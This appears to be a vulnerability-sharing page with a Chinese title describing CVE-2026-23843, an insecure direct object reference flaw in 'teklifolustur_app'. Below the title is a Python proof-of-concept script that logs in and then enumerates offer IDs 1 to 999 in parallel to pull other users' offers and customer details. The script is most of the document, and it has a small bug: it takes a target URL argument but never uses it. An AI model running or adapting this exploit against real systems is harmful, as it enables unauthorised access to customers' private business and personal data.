CVE-2026-23843 teklifolustur_app IDOR漏洞导致越权访问报价信息

# CVE-2026-23843 IDOR PoC # Target: teklifolustur_app # Vulnerability: Insecure Direct Object Reference in offer view import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target.com" LOGIN_URL = f"{TARGET_URL}/login" OFFER_VIEW_URL = f"{TARGET_URL}/offer/view" def login(session, username, password): """Authenticate with valid credentials""" data = { 'username': username, 'password': password } response = session.post(LOGIN_URL, data=data) return response.status_code == 200 def exploit_idor(session, offer_id): """Exploit IDOR by manipulating offer_id parameter""" params = {'offer_id': offer_id} response = session.get(OFFER_VIEW_URL, params=params) if response.status_code == 200: # Check if unauthorized offer data is returned if 'offer_details' in response.text or 'customer_info' in response.text: return { 'offer_id': offer_id, 'status': 'VULNERABLE', 'data_length': len(response.text) } return None def main(): if len(sys.argv) < 4: print("Usage: python poc.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print("[*] Logging in...") if not login(session, username, password): print("[-] Login failed") sys.exit(1) print("[*] Exploiting IDOR vulnerability...") # Brute force offer_id to access other users' offers with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(exploit_idor, session, i) for i in range(1, 1000)] for future in futures: result = future.result() if result: print(f"[+] Found vulnerable offer: {result}") if __name__ == "__main__": main()